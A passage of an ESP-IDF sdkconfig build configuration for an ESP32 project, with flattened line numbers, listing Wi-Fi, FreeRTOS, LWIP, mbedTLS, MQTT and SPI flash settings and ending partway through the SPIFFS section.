CONFIG_ESP_TIMER_TASK_STACK_SIZE=3584 786 | CONFIG_ESP_TIMER_INTERRUPT_LEVEL=1 787 | # CONFIG_ESP_TIMER_SUPPORTS_ISR_DISPATCH_METHOD is not set 788 | CONFIG_ESP_TIMER_IMPL_TG0_LAC=y 789 | # end of High resolution timer (esp_timer) 790 | 791 | # 792 | # Wi-Fi 793 | # 794 | CONFIG_ESP32_WIFI_ENABLED=y 795 | CONFIG_ESP32_WIFI_STATIC_RX_BUFFER_NUM=10 796 | CONFIG_ESP32_WIFI_DYNAMIC_RX_BUFFER_NUM=32 797 | # CONFIG_ESP32_WIFI_STATIC_TX_BUFFER is not set 798 | CONFIG_ESP32_WIFI_DYNAMIC_TX_BUFFER=y 799 | CONFIG_ESP32_WIFI_TX_BUFFER_TYPE=1 800 | CONFIG_ESP32_WIFI_DYNAMIC_TX_BUFFER_NUM=32 801 | # CONFIG_ESP32_WIFI_CSI_ENABLED is not set 802 | CONFIG_ESP32_WIFI_AMPDU_TX_ENABLED=y 803 | CONFIG_ESP32_WIFI_TX_BA_WIN=6 804 | CONFIG_ESP32_WIFI_AMPDU_RX_ENABLED=y 805 | CONFIG_ESP32_WIFI_RX_BA_WIN=6 806 | CONFIG_ESP32_WIFI_NVS_ENABLED=y 807 | CONFIG_ESP32_WIFI_TASK_PINNED_TO_CORE_0=y 808 | # CONFIG_ESP32_WIFI_TASK_PINNED_TO_CORE_1 is not set 809 | CONFIG_ESP32_WIFI_SOFTAP_BEACON_MAX_LEN=752 810 | CONFIG_ESP32_WIFI_MGMT_SBUF_NUM=32 811 | CONFIG_ESP32_WIFI_IRAM_OPT=y 812 | CONFIG_ESP32_WIFI_RX_IRAM_OPT=y 813 | CONFIG_ESP32_WIFI_ENABLE_WPA3_SAE=y 814 | CONFIG_ESP32_WIFI_ENABLE_WPA3_OWE_STA=y 815 | # CONFIG_ESP_WIFI_SLP_IRAM_OPT is not set 816 | # CONFIG_ESP_WIFI_STA_DISCONNECTED_PM_ENABLE is not set 817 | # CONFIG_ESP_WIFI_GMAC_SUPPORT is not set 818 | CONFIG_ESP_WIFI_SOFTAP_SUPPORT=y 819 | # CONFIG_ESP_WIFI_SLP_BEACON_LOST_OPT is not set 820 | # end of Wi-Fi 821 | 822 | # 823 | # Core dump 824 | # 825 | # CONFIG_ESP_COREDUMP_ENABLE_TO_FLASH is not set 826 | # CONFIG_ESP_COREDUMP_ENABLE_TO_UART is not set 827 | CONFIG_ESP_COREDUMP_ENABLE_TO_NONE=y 828 | # end of Core dump 829 | 830 | # 831 | # FAT Filesystem support 832 | # 833 | CONFIG_FATFS_VOLUME_COUNT=2 834 | # CONFIG_FATFS_SECTOR_512 is not set 835 | # CONFIG_FATFS_SECTOR_1024 is not set 836 | # CONFIG_FATFS_SECTOR_2048 is not set 837 | CONFIG_FATFS_SECTOR_4096=y 838 | CONFIG_FATFS_SECTORS_PER_CLUSTER_1=y 839 | # CONFIG_FATFS_SECTORS_PER_CLUSTER_2 is not set 840 | # CONFIG_FATFS_SECTORS_PER_CLUSTER_4 is not set 841 | # CONFIG_FATFS_SECTORS_PER_CLUSTER_8 is not set 842 | # CONFIG_FATFS_SECTORS_PER_CLUSTER_16 is not set 843 | # CONFIG_FATFS_SECTORS_PER_CLUSTER_32 is not set 844 | # CONFIG_FATFS_SECTORS_PER_CLUSTER_64 is not set 845 | # CONFIG_FATFS_SECTORS_PER_CLUSTER_128 is not set 846 | # CONFIG_FATFS_CODEPAGE_DYNAMIC is not set 847 | CONFIG_FATFS_CODEPAGE_437=y 848 | # CONFIG_FATFS_CODEPAGE_720 is not set 849 | # CONFIG_FATFS_CODEPAGE_737 is not set 850 | # CONFIG_FATFS_CODEPAGE_771 is not set 851 | # CONFIG_FATFS_CODEPAGE_775 is not set 852 | # CONFIG_FATFS_CODEPAGE_850 is not set 853 | # CONFIG_FATFS_CODEPAGE_852 is not set 854 | # CONFIG_FATFS_CODEPAGE_855 is not set 855 | # CONFIG_FATFS_CODEPAGE_857 is not set 856 | # CONFIG_FATFS_CODEPAGE_860 is not set 857 | # CONFIG_FATFS_CODEPAGE_861 is not set 858 | # CONFIG_FATFS_CODEPAGE_862 is not set 859 | # CONFIG_FATFS_CODEPAGE_863 is not set 860 | # CONFIG_FATFS_CODEPAGE_864 is not set 861 | # CONFIG_FATFS_CODEPAGE_865 is not set 862 | # CONFIG_FATFS_CODEPAGE_866 is not set 863 | # CONFIG_FATFS_CODEPAGE_869 is not set 864 | # CONFIG_FATFS_CODEPAGE_932 is not set 865 | # CONFIG_FATFS_CODEPAGE_936 is not set 866 | # CONFIG_FATFS_CODEPAGE_949 is not set 867 | # CONFIG_FATFS_CODEPAGE_950 is not set 868 | CONFIG_FATFS_AUTO_TYPE=y 869 | # CONFIG_FATFS_FAT12 is not set 870 | # CONFIG_FATFS_FAT16 is not set 871 | CONFIG_FATFS_CODEPAGE=437 872 | CONFIG_FATFS_LFN_NONE=y 873 | # CONFIG_FATFS_LFN_HEAP is not set 874 | # CONFIG_FATFS_LFN_STACK is not set 875 | CONFIG_FATFS_FS_LOCK=0 876 | CONFIG_FATFS_TIMEOUT_MS=10000 877 | CONFIG_FATFS_PER_FILE_CACHE=y 878 | # CONFIG_FATFS_USE_FASTSEEK is not set 879 | # end of FAT Filesystem support 880 | 881 | # 882 | # FreeRTOS 883 | # 884 | 885 | # 886 | # Kernel 887 | # 888 | # CONFIG_FREERTOS_SMP is not set 889 | # CONFIG_FREERTOS_UNICORE is not set 890 | CONFIG_FREERTOS_HZ=100 891 | # CONFIG_FREERTOS_CHECK_STACKOVERFLOW_NONE is not set 892 | # CONFIG_FREERTOS_CHECK_STACKOVERFLOW_PTRVAL is not set 893 | CONFIG_FREERTOS_CHECK_STACKOVERFLOW_CANARY=y 894 | CONFIG_FREERTOS_THREAD_LOCAL_STORAGE_POINTERS=1 895 | CONFIG_FREERTOS_IDLE_TASK_STACKSIZE=1536 896 | # CONFIG_FREERTOS_USE_IDLE_HOOK is not set 897 | # CONFIG_FREERTOS_USE_TICK_HOOK is not set 898 | CONFIG_FREERTOS_MAX_TASK_NAME_LEN=16 899 | # CONFIG_FREERTOS_ENABLE_BACKWARD_COMPATIBILITY is not set 900 | CONFIG_FREERTOS_TIMER_TASK_PRIORITY=1 901 | CONFIG_FREERTOS_TIMER_TASK_STACK_DEPTH=2048 902 | CONFIG_FREERTOS_TIMER_QUEUE_LENGTH=10 903 | CONFIG_FREERTOS_QUEUE_REGISTRY_SIZE=0 904 | # CONFIG_FREERTOS_USE_TRACE_FACILITY is not set 905 | # CONFIG_FREERTOS_GENERATE_RUN_TIME_STATS is not set 906 | # end of Kernel 907 | 908 | # 909 | # Port 910 | # 911 | CONFIG_FREERTOS_TASK_FUNCTION_WRAPPER=y 912 | # CONFIG_FREERTOS_WATCHPOINT_END_OF_STACK is not set 913 | # CONFIG_FREERTOS_ENABLE_STATIC_TASK_CLEAN_UP is not set 914 | CONFIG_FREERTOS_CHECK_MUTEX_GIVEN_BY_OWNER=y 915 | CONFIG_FREERTOS_ISR_STACKSIZE=1536 916 | CONFIG_FREERTOS_INTERRUPT_BACKTRACE=y 917 | # CONFIG_FREERTOS_FPU_IN_ISR is not set 918 | CONFIG_FREERTOS_TICK_SUPPORT_CORETIMER=y 919 | CONFIG_FREERTOS_CORETIMER_0=y 920 | # CONFIG_FREERTOS_CORETIMER_1 is not set 921 | CONFIG_FREERTOS_SYSTICK_USES_CCOUNT=y 922 | # CONFIG_FREERTOS_PLACE_FUNCTIONS_INTO_FLASH is not set 923 | # CONFIG_FREERTOS_PLACE_SNAPSHOT_FUNS_INTO_FLASH is not set 924 | # CONFIG_FREERTOS_CHECK_PORT_CRITICAL_COMPLIANCE is not set 925 | CONFIG_FREERTOS_ASSERT_ON_UNTESTED_FUNCTION=y 926 | CONFIG_FREERTOS_ENABLE_TASK_SNAPSHOT=y 927 | # end of Port 928 | 929 | CONFIG_FREERTOS_NO_AFFINITY=0x7FFFFFFF 930 | CONFIG_FREERTOS_SUPPORT_STATIC_ALLOCATION=y 931 | CONFIG_FREERTOS_DEBUG_OCDAWARE=y 932 | # end of FreeRTOS 933 | 934 | # 935 | # Hardware Abstraction Layer (HAL) and Low Level (LL) 936 | # 937 | CONFIG_HAL_ASSERTION_EQUALS_SYSTEM=y 938 | # CONFIG_HAL_ASSERTION_DISABLE is not set 939 | # CONFIG_HAL_ASSERTION_SILENT is not set 940 | # CONFIG_HAL_ASSERTION_ENABLE is not set 941 | CONFIG_HAL_DEFAULT_ASSERTION_LEVEL=2 942 | # end of Hardware Abstraction Layer (HAL) and Low Level (LL) 943 | 944 | # 945 | # Heap memory debugging 946 | # 947 | CONFIG_HEAP_POISONING_DISABLED=y 948 | # CONFIG_HEAP_POISONING_LIGHT is not set 949 | # CONFIG_HEAP_POISONING_COMPREHENSIVE is not set 950 | CONFIG_HEAP_TRACING_OFF=y 951 | # CONFIG_HEAP_TRACING_STANDALONE is not set 952 | # CONFIG_HEAP_TRACING_TOHOST is not set 953 | # CONFIG_HEAP_ABORT_WHEN_ALLOCATION_FAILS is not set 954 | # end of Heap memory debugging 955 | 956 | # 957 | # Log output 958 | # 959 | # CONFIG_LOG_DEFAULT_LEVEL_NONE is not set 960 | # CONFIG_LOG_DEFAULT_LEVEL_ERROR is not set 961 | # CONFIG_LOG_DEFAULT_LEVEL_WARN is not set 962 | CONFIG_LOG_DEFAULT_LEVEL_INFO=y 963 | # CONFIG_LOG_DEFAULT_LEVEL_DEBUG is not set 964 | # CONFIG_LOG_DEFAULT_LEVEL_VERBOSE is not set 965 | CONFIG_LOG_DEFAULT_LEVEL=3 966 | CONFIG_LOG_MAXIMUM_EQUALS_DEFAULT=y 967 | # CONFIG_LOG_MAXIMUM_LEVEL_DEBUG is not set 968 | # CONFIG_LOG_MAXIMUM_LEVEL_VERBOSE is not set 969 | CONFIG_LOG_MAXIMUM_LEVEL=3 970 | CONFIG_LOG_COLORS=y 971 | CONFIG_LOG_TIMESTAMP_SOURCE_RTOS=y 972 | # CONFIG_LOG_TIMESTAMP_SOURCE_SYSTEM is not set 973 | # end of Log output 974 | 975 | # 976 | # LWIP 977 | # 978 | CONFIG_LWIP_LOCAL_HOSTNAME="espressif" 979 | # CONFIG_LWIP_NETIF_API is not set 980 | # CONFIG_LWIP_TCPIP_CORE_LOCKING is not set 981 | CONFIG_LWIP_DNS_SUPPORT_MDNS_QUERIES=y 982 | # CONFIG_LWIP_L2_TO_L3_COPY is not set 983 | # CONFIG_LWIP_IRAM_OPTIMIZATION is not set 984 | CONFIG_LWIP_TIMERS_ONDEMAND=y 985 | CONFIG_LWIP_MAX_SOCKETS=10 986 | # CONFIG_LWIP_USE_ONLY_LWIP_SELECT is not set 987 | # CONFIG_LWIP_SO_LINGER is not set 988 | CONFIG_LWIP_SO_REUSE=y 989 | CONFIG_LWIP_SO_REUSE_RXTOALL=y 990 | # CONFIG_LWIP_SO_RCVBUF is not set 991 | # CONFIG_LWIP_NETBUF_RECVINFO is not set 992 | CONFIG_LWIP_IP4_FRAG=y 993 | CONFIG_LWIP_IP6_FRAG=y 994 | # CONFIG_LWIP_IP4_REASSEMBLY is not set 995 | # CONFIG_LWIP_IP6_REASSEMBLY is not set 996 | # CONFIG_LWIP_IP_FORWARD is not set 997 | # CONFIG_LWIP_STATS is not set 998 | CONFIG_LWIP_ESP_GRATUITOUS_ARP=y 999 | CONFIG_LWIP_GARP_TMR_INTERVAL=60 1000 | CONFIG_LWIP_TCPIP_RECVMBOX_SIZE=32 1001 | CONFIG_LWIP_DHCP_DOES_ARP_CHECK=y 1002 | # CONFIG_LWIP_DHCP_DISABLE_CLIENT_ID is not set 1003 | CONFIG_LWIP_DHCP_DISABLE_VENDOR_CLASS_ID=y 1004 | # CONFIG_LWIP_DHCP_RESTORE_LAST_IP is not set 1005 | CONFIG_LWIP_DHCP_OPTIONS_LEN=68 1006 | CONFIG_LWIP_NUM_NETIF_CLIENT_DATA=0 1007 | 1008 | # 1009 | # DHCP server 1010 | # 1011 | CONFIG_LWIP_DHCPS=y 1012 | CONFIG_LWIP_DHCPS_LEASE_UNIT=60 1013 | CONFIG_LWIP_DHCPS_MAX_STATION_NUM=8 1014 | # end of DHCP server 1015 | 1016 | # CONFIG_LWIP_AUTOIP is not set 1017 | CONFIG_LWIP_IPV6=y 1018 | # CONFIG_LWIP_IPV6_AUTOCONFIG is not set 1019 | CONFIG_LWIP_IPV6_NUM_ADDRESSES=3 1020 | # CONFIG_LWIP_IPV6_FORWARD is not set 1021 | # CONFIG_LWIP_NETIF_STATUS_CALLBACK is not set 1022 | CONFIG_LWIP_NETIF_LOOPBACK=y 1023 | CONFIG_LWIP_LOOPBACK_MAX_PBUFS=8 1024 | 1025 | # 1026 | # TCP 1027 | # 1028 | CONFIG_LWIP_MAX_ACTIVE_TCP=16 1029 | CONFIG_LWIP_MAX_LISTENING_TCP=16 1030 | CONFIG_LWIP_TCP_HIGH_SPEED_RETRANSMISSION=y 1031 | CONFIG_LWIP_TCP_MAXRTX=12 1032 | CONFIG_LWIP_TCP_SYNMAXRTX=12 1033 | CONFIG_LWIP_TCP_MSS=1440 1034 | CONFIG_LWIP_TCP_TMR_INTERVAL=250 1035 | CONFIG_LWIP_TCP_MSL=60000 1036 | CONFIG_LWIP_TCP_FIN_WAIT_TIMEOUT=20000 1037 | CONFIG_LWIP_TCP_SND_BUF_DEFAULT=5744 1038 | CONFIG_LWIP_TCP_WND_DEFAULT=5744 1039 | CONFIG_LWIP_TCP_RECVMBOX_SIZE=6 1040 | CONFIG_LWIP_TCP_QUEUE_OOSEQ=y 1041 | # CONFIG_LWIP_TCP_SACK_OUT is not set 1042 | CONFIG_LWIP_TCP_OVERSIZE_MSS=y 1043 | # CONFIG_LWIP_TCP_OVERSIZE_QUARTER_MSS is not set 1044 | # CONFIG_LWIP_TCP_OVERSIZE_DISABLE is not set 1045 | CONFIG_LWIP_TCP_RTO_TIME=1500 1046 | # end of TCP 1047 | 1048 | # 1049 | # UDP 1050 | # 1051 | CONFIG_LWIP_MAX_UDP_PCBS=16 1052 | CONFIG_LWIP_UDP_RECVMBOX_SIZE=6 1053 | # end of UDP 1054 | 1055 | # 1056 | # Checksums 1057 | # 1058 | # CONFIG_LWIP_CHECKSUM_CHECK_IP is not set 1059 | # CONFIG_LWIP_CHECKSUM_CHECK_UDP is not set 1060 | CONFIG_LWIP_CHECKSUM_CHECK_ICMP=y 1061 | # end of Checksums 1062 | 1063 | CONFIG_LWIP_TCPIP_TASK_STACK_SIZE=3072 1064 | CONFIG_LWIP_TCPIP_TASK_AFFINITY_NO_AFFINITY=y 1065 | # CONFIG_LWIP_TCPIP_TASK_AFFINITY_CPU0 is not set 1066 | # CONFIG_LWIP_TCPIP_TASK_AFFINITY_CPU1 is not set 1067 | CONFIG_LWIP_TCPIP_TASK_AFFINITY=0x7FFFFFFF 1068 | # CONFIG_LWIP_PPP_SUPPORT is not set 1069 | CONFIG_LWIP_IPV6_MEMP_NUM_ND6_QUEUE=3 1070 | CONFIG_LWIP_IPV6_ND6_NUM_NEIGHBORS=5 1071 | # CONFIG_LWIP_SLIP_SUPPORT is not set 1072 | 1073 | # 1074 | # ICMP 1075 | # 1076 | CONFIG_LWIP_ICMP=y 1077 | # CONFIG_LWIP_MULTICAST_PING is not set 1078 | # CONFIG_LWIP_BROADCAST_PING is not set 1079 | # end of ICMP 1080 | 1081 | # 1082 | # LWIP RAW API 1083 | # 1084 | CONFIG_LWIP_MAX_RAW_PCBS=16 1085 | # end of LWIP RAW API 1086 | 1087 | # 1088 | # SNTP 1089 | # 1090 | CONFIG_LWIP_SNTP_MAX_SERVERS=1 1091 | # CONFIG_LWIP_DHCP_GET_NTP_SRV is not set 1092 | CONFIG_LWIP_SNTP_UPDATE_DELAY=3600000 1093 | # end of SNTP 1094 | 1095 | CONFIG_LWIP_BRIDGEIF_MAX_PORTS=7 1096 | CONFIG_LWIP_ESP_LWIP_ASSERT=y 1097 | 1098 | # 1099 | # Hooks 1100 | # 1101 | # CONFIG_LWIP_HOOK_TCP_ISN_NONE is not set 1102 | CONFIG_LWIP_HOOK_TCP_ISN_DEFAULT=y 1103 | # CONFIG_LWIP_HOOK_TCP_ISN_CUSTOM is not set 1104 | CONFIG_LWIP_HOOK_IP6_ROUTE_NONE=y 1105 | # CONFIG_LWIP_HOOK_IP6_ROUTE_DEFAULT is not set 1106 | # CONFIG_LWIP_HOOK_IP6_ROUTE_CUSTOM is not set 1107 | CONFIG_LWIP_HOOK_ND6_GET_GW_NONE=y 1108 | # CONFIG_LWIP_HOOK_ND6_GET_GW_DEFAULT is not set 1109 | # CONFIG_LWIP_HOOK_ND6_GET_GW_CUSTOM is not set 1110 | CONFIG_LWIP_HOOK_NETCONN_EXT_RESOLVE_NONE=y 1111 | # CONFIG_LWIP_HOOK_NETCONN_EXT_RESOLVE_DEFAULT is not set 1112 | # CONFIG_LWIP_HOOK_NETCONN_EXT_RESOLVE_CUSTOM is not set 1113 | CONFIG_LWIP_HOOK_IP6_INPUT_NONE=y 1114 | # CONFIG_LWIP_HOOK_IP6_INPUT_DEFAULT is not set 1115 | # CONFIG_LWIP_HOOK_IP6_INPUT_CUSTOM is not set 1116 | # end of Hooks 1117 | 1118 | # CONFIG_LWIP_DEBUG is not set 1119 | # end of LWIP 1120 | 1121 | # 1122 | # mbedTLS 1123 | # 1124 | CONFIG_MBEDTLS_INTERNAL_MEM_ALLOC=y 1125 | # CONFIG_MBEDTLS_DEFAULT_MEM_ALLOC is not set 1126 | # CONFIG_MBEDTLS_CUSTOM_MEM_ALLOC is not set 1127 | CONFIG_MBEDTLS_ASYMMETRIC_CONTENT_LEN=y 1128 | CONFIG_MBEDTLS_SSL_IN_CONTENT_LEN=16384 1129 | CONFIG_MBEDTLS_SSL_OUT_CONTENT_LEN=4096 1130 | # CONFIG_MBEDTLS_DYNAMIC_BUFFER is not set 1131 | # CONFIG_MBEDTLS_DEBUG is not set 1132 | 1133 | # 1134 | # mbedTLS v3.x related 1135 | # 1136 | # CONFIG_MBEDTLS_SSL_PROTO_TLS1_3 is not set 1137 | # CONFIG_MBEDTLS_SSL_VARIABLE_BUFFER_LENGTH is not set 1138 | # CONFIG_MBEDTLS_X509_TRUSTED_CERT_CALLBACK is not set 1139 | # CONFIG_MBEDTLS_SSL_CONTEXT_SERIALIZATION is not set 1140 | CONFIG_MBEDTLS_SSL_KEEP_PEER_CERTIFICATE=y 1141 | # end of mbedTLS v3.x related 1142 | 1143 | # 1144 | # Certificate Bundle 1145 | # 1146 | CONFIG_MBEDTLS_CERTIFICATE_BUNDLE=y 1147 | CONFIG_MBEDTLS_CERTIFICATE_BUNDLE_DEFAULT_FULL=y 1148 | # CONFIG_MBEDTLS_CERTIFICATE_BUNDLE_DEFAULT_CMN is not set 1149 | # CONFIG_MBEDTLS_CERTIFICATE_BUNDLE_DEFAULT_NONE is not set 1150 | # CONFIG_MBEDTLS_CUSTOM_CERTIFICATE_BUNDLE is not set 1151 | CONFIG_MBEDTLS_CERTIFICATE_BUNDLE_MAX_CERTS=200 1152 | # end of Certificate Bundle 1153 | 1154 | # CONFIG_MBEDTLS_ECP_RESTARTABLE is not set 1155 | # CONFIG_MBEDTLS_CMAC_C is not set 1156 | CONFIG_MBEDTLS_HARDWARE_AES=y 1157 | CONFIG_MBEDTLS_HARDWARE_MPI=y 1158 | CONFIG_MBEDTLS_HARDWARE_SHA=y 1159 | CONFIG_MBEDTLS_ROM_MD5=y 1160 | # CONFIG_MBEDTLS_ATCA_HW_ECDSA_SIGN is not set 1161 | # CONFIG_MBEDTLS_ATCA_HW_ECDSA_VERIFY is not set 1162 | CONFIG_MBEDTLS_HAVE_TIME=y 1163 | # CONFIG_MBEDTLS_PLATFORM_TIME_ALT is not set 1164 | # CONFIG_MBEDTLS_HAVE_TIME_DATE is not set 1165 | CONFIG_MBEDTLS_ECDSA_DETERMINISTIC=y 1166 | CONFIG_MBEDTLS_SHA512_C=y 1167 | CONFIG_MBEDTLS_TLS_SERVER_AND_CLIENT=y 1168 | # CONFIG_MBEDTLS_TLS_SERVER_ONLY is not set 1169 | # CONFIG_MBEDTLS_TLS_CLIENT_ONLY is not set 1170 | # CONFIG_MBEDTLS_TLS_DISABLED is not set 1171 | CONFIG_MBEDTLS_TLS_SERVER=y 1172 | CONFIG_MBEDTLS_TLS_CLIENT=y 1173 | CONFIG_MBEDTLS_TLS_ENABLED=y 1174 | 1175 | # 1176 | # TLS Key Exchange Methods 1177 | # 1178 | # CONFIG_MBEDTLS_PSK_MODES is not set 1179 | CONFIG_MBEDTLS_KEY_EXCHANGE_RSA=y 1180 | CONFIG_MBEDTLS_KEY_EXCHANGE_ELLIPTIC_CURVE=y 1181 | CONFIG_MBEDTLS_KEY_EXCHANGE_ECDHE_RSA=y 1182 | CONFIG_MBEDTLS_KEY_EXCHANGE_ECDHE_ECDSA=y 1183 | CONFIG_MBEDTLS_KEY_EXCHANGE_ECDH_ECDSA=y 1184 | CONFIG_MBEDTLS_KEY_EXCHANGE_ECDH_RSA=y 1185 | # end of TLS Key Exchange Methods 1186 | 1187 | CONFIG_MBEDTLS_SSL_RENEGOTIATION=y 1188 | CONFIG_MBEDTLS_SSL_PROTO_TLS1_2=y 1189 | # CONFIG_MBEDTLS_SSL_PROTO_GMTSSL1_1 is not set 1190 | # CONFIG_MBEDTLS_SSL_PROTO_DTLS is not set 1191 | CONFIG_MBEDTLS_SSL_ALPN=y 1192 | CONFIG_MBEDTLS_CLIENT_SSL_SESSION_TICKETS=y 1193 | CONFIG_MBEDTLS_SERVER_SSL_SESSION_TICKETS=y 1194 | 1195 | # 1196 | # Symmetric Ciphers 1197 | # 1198 | CONFIG_MBEDTLS_AES_C=y 1199 | # CONFIG_MBEDTLS_CAMELLIA_C is not set 1200 | # CONFIG_MBEDTLS_DES_C is not set 1201 | # CONFIG_MBEDTLS_BLOWFISH_C is not set 1202 | # CONFIG_MBEDTLS_XTEA_C is not set 1203 | CONFIG_MBEDTLS_CCM_C=y 1204 | CONFIG_MBEDTLS_GCM_C=y 1205 | # CONFIG_MBEDTLS_NIST_KW_C is not set 1206 | # end of Symmetric Ciphers 1207 | 1208 | # CONFIG_MBEDTLS_RIPEMD160_C is not set 1209 | 1210 | # 1211 | # Certificates 1212 | # 1213 | CONFIG_MBEDTLS_PEM_PARSE_C=y 1214 | CONFIG_MBEDTLS_PEM_WRITE_C=y 1215 | CONFIG_MBEDTLS_X509_CRL_PARSE_C=y 1216 | CONFIG_MBEDTLS_X509_CSR_PARSE_C=y 1217 | # end of Certificates 1218 | 1219 | CONFIG_MBEDTLS_ECP_C=y 1220 | # CONFIG_MBEDTLS_DHM_C is not set 1221 | CONFIG_MBEDTLS_ECDH_C=y 1222 | CONFIG_MBEDTLS_ECDSA_C=y 1223 | # CONFIG_MBEDTLS_ECJPAKE_C is not set 1224 | CONFIG_MBEDTLS_ECP_DP_SECP192R1_ENABLED=y 1225 | CONFIG_MBEDTLS_ECP_DP_SECP224R1_ENABLED=y 1226 | CONFIG_MBEDTLS_ECP_DP_SECP256R1_ENABLED=y 1227 | CONFIG_MBEDTLS_ECP_DP_SECP384R1_ENABLED=y 1228 | CONFIG_MBEDTLS_ECP_DP_SECP521R1_ENABLED=y 1229 | CONFIG_MBEDTLS_ECP_DP_SECP192K1_ENABLED=y 1230 | CONFIG_MBEDTLS_ECP_DP_SECP224K1_ENABLED=y 1231 | CONFIG_MBEDTLS_ECP_DP_SECP256K1_ENABLED=y 1232 | CONFIG_MBEDTLS_ECP_DP_BP256R1_ENABLED=y 1233 | CONFIG_MBEDTLS_ECP_DP_BP384R1_ENABLED=y 1234 | CONFIG_MBEDTLS_ECP_DP_BP512R1_ENABLED=y 1235 | CONFIG_MBEDTLS_ECP_DP_CURVE25519_ENABLED=y 1236 | CONFIG_MBEDTLS_ECP_NIST_OPTIM=y 1237 | # CONFIG_MBEDTLS_POLY1305_C is not set 1238 | # CONFIG_MBEDTLS_CHACHA20_C is not set 1239 | # CONFIG_MBEDTLS_HKDF_C is not set 1240 | # CONFIG_MBEDTLS_THREADING_C is not set 1241 | # CONFIG_MBEDTLS_LARGE_KEY_SOFTWARE_MPI is not set 1242 | # CONFIG_MBEDTLS_SECURITY_RISKS is not set 1243 | # end of mbedTLS 1244 | 1245 | # 1246 | # ESP-MQTT Configurations 1247 | # 1248 | CONFIG_MQTT_PROTOCOL_311=y 1249 | # CONFIG_MQTT_PROTOCOL_5 is not set 1250 | CONFIG_MQTT_TRANSPORT_SSL=y 1251 | CONFIG_MQTT_TRANSPORT_WEBSOCKET=y 1252 | CONFIG_MQTT_TRANSPORT_WEBSOCKET_SECURE=y 1253 | # CONFIG_MQTT_MSG_ID_INCREMENTAL is not set 1254 | # CONFIG_MQTT_SKIP_PUBLISH_IF_DISCONNECTED is not set 1255 | # CONFIG_MQTT_REPORT_DELETED_MESSAGES is not set 1256 | # CONFIG_MQTT_USE_CUSTOM_CONFIG is not set 1257 | # CONFIG_MQTT_TASK_CORE_SELECTION_ENABLED is not set 1258 | # CONFIG_MQTT_CUSTOM_OUTBOX is not set 1259 | # end of ESP-MQTT Configurations 1260 | 1261 | # 1262 | # Newlib 1263 | # 1264 | CONFIG_NEWLIB_STDOUT_LINE_ENDING_CRLF=y 1265 | # CONFIG_NEWLIB_STDOUT_LINE_ENDING_LF is not set 1266 | # CONFIG_NEWLIB_STDOUT_LINE_ENDING_CR is not set 1267 | # CONFIG_NEWLIB_STDIN_LINE_ENDING_CRLF is not set 1268 | # CONFIG_NEWLIB_STDIN_LINE_ENDING_LF is not set 1269 | CONFIG_NEWLIB_STDIN_LINE_ENDING_CR=y 1270 | # CONFIG_NEWLIB_NANO_FORMAT is not set 1271 | CONFIG_NEWLIB_TIME_SYSCALL_USE_RTC_HRT=y 1272 | # CONFIG_NEWLIB_TIME_SYSCALL_USE_RTC is not set 1273 | # CONFIG_NEWLIB_TIME_SYSCALL_USE_HRT is not set 1274 | # CONFIG_NEWLIB_TIME_SYSCALL_USE_NONE is not set 1275 | # end of Newlib 1276 | 1277 | # 1278 | # NVS 1279 | # 1280 | # CONFIG_NVS_ASSERT_ERROR_CHECK is not set 1281 | # end of NVS 1282 | 1283 | # 1284 | # OpenThread 1285 | # 1286 | # CONFIG_OPENTHREAD_ENABLED is not set 1287 | # end of OpenThread 1288 | 1289 | # 1290 | # Protocomm 1291 | # 1292 | CONFIG_ESP_PROTOCOMM_SUPPORT_SECURITY_VERSION_0=y 1293 | CONFIG_ESP_PROTOCOMM_SUPPORT_SECURITY_VERSION_1=y 1294 | CONFIG_ESP_PROTOCOMM_SUPPORT_SECURITY_VERSION_2=y 1295 | # end of Protocomm 1296 | 1297 | # 1298 | # PThreads 1299 | # 1300 | CONFIG_PTHREAD_TASK_PRIO_DEFAULT=5 1301 | CONFIG_PTHREAD_TASK_STACK_SIZE_DEFAULT=3072 1302 | CONFIG_PTHREAD_STACK_MIN=768 1303 | CONFIG_PTHREAD_DEFAULT_CORE_NO_AFFINITY=y 1304 | # CONFIG_PTHREAD_DEFAULT_CORE_0 is not set 1305 | # CONFIG_PTHREAD_DEFAULT_CORE_1 is not set 1306 | CONFIG_PTHREAD_TASK_CORE_DEFAULT=-1 1307 | CONFIG_PTHREAD_TASK_NAME_DEFAULT="pthread" 1308 | # end of PThreads 1309 | 1310 | # 1311 | # SPI Flash driver 1312 | # 1313 | # CONFIG_SPI_FLASH_VERIFY_WRITE is not set 1314 | # CONFIG_SPI_FLASH_ENABLE_COUNTERS is not set 1315 | CONFIG_SPI_FLASH_ROM_DRIVER_PATCH=y 1316 | CONFIG_SPI_FLASH_DANGEROUS_WRITE_ABORTS=y 1317 | # CONFIG_SPI_FLASH_DANGEROUS_WRITE_FAILS is not set 1318 | # CONFIG_SPI_FLASH_DANGEROUS_WRITE_ALLOWED is not set 1319 | # CONFIG_SPI_FLASH_SHARE_SPI1_BUS is not set 1320 | # CONFIG_SPI_FLASH_BYPASS_BLOCK_ERASE is not set 1321 | CONFIG_SPI_FLASH_YIELD_DURING_ERASE=y 1322 | CONFIG_SPI_FLASH_ERASE_YIELD_DURATION_MS=20 1323 | CONFIG_SPI_FLASH_ERASE_YIELD_TICKS=1 1324 | CONFIG_SPI_FLASH_WRITE_CHUNK_SIZE=8192 1325 | # CONFIG_SPI_FLASH_SIZE_OVERRIDE is not set 1326 | # CONFIG_SPI_FLASH_CHECK_ERASE_TIMEOUT_DISABLED is not set 1327 | # CONFIG_SPI_FLASH_OVERRIDE_CHIP_DRIVER_LIST is not set 1328 | 1329 | # 1330 | # SPI Flash behavior when brownout 1331 | # 1332 | CONFIG_SPI_FLASH_BROWNOUT_RESET_XMC=y 1333 | CONFIG_SPI_FLASH_BROWNOUT_RESET=y 1334 | # end of SPI Flash behavior when brownout 1335 | 1336 | # 1337 | # Auto-detect flash chips 1338 | # 1339 | CONFIG_SPI_FLASH_SUPPORT_ISSI_CHIP=y 1340 | CONFIG_SPI_FLASH_SUPPORT_MXIC_CHIP=y 1341 | CONFIG_SPI_FLASH_SUPPORT_GD_CHIP=y 1342 | CONFIG_SPI_FLASH_SUPPORT_WINBOND_CHIP=y 1343 | # CONFIG_SPI_FLASH_SUPPORT_BOYA_CHIP is not set 1344 | # CONFIG_SPI_FLASH_SUPPORT_TH_CHIP is not set 1345 | # end of Auto-detect flash chips 1346 | 1347 | CONFIG_SPI_FLASH_ENABLE_ENCRYPTED_READ_WRITE=y 1348 | # end of SPI Flash driver 1349 | 1350 | # 1351 | # SPIFFS Configuration 1352 | # 1353 | CONFIG_SPIFFS_MAX_PARTITIONS=3 1354 | 1355 | # 1356 | # SPIFFS Cache 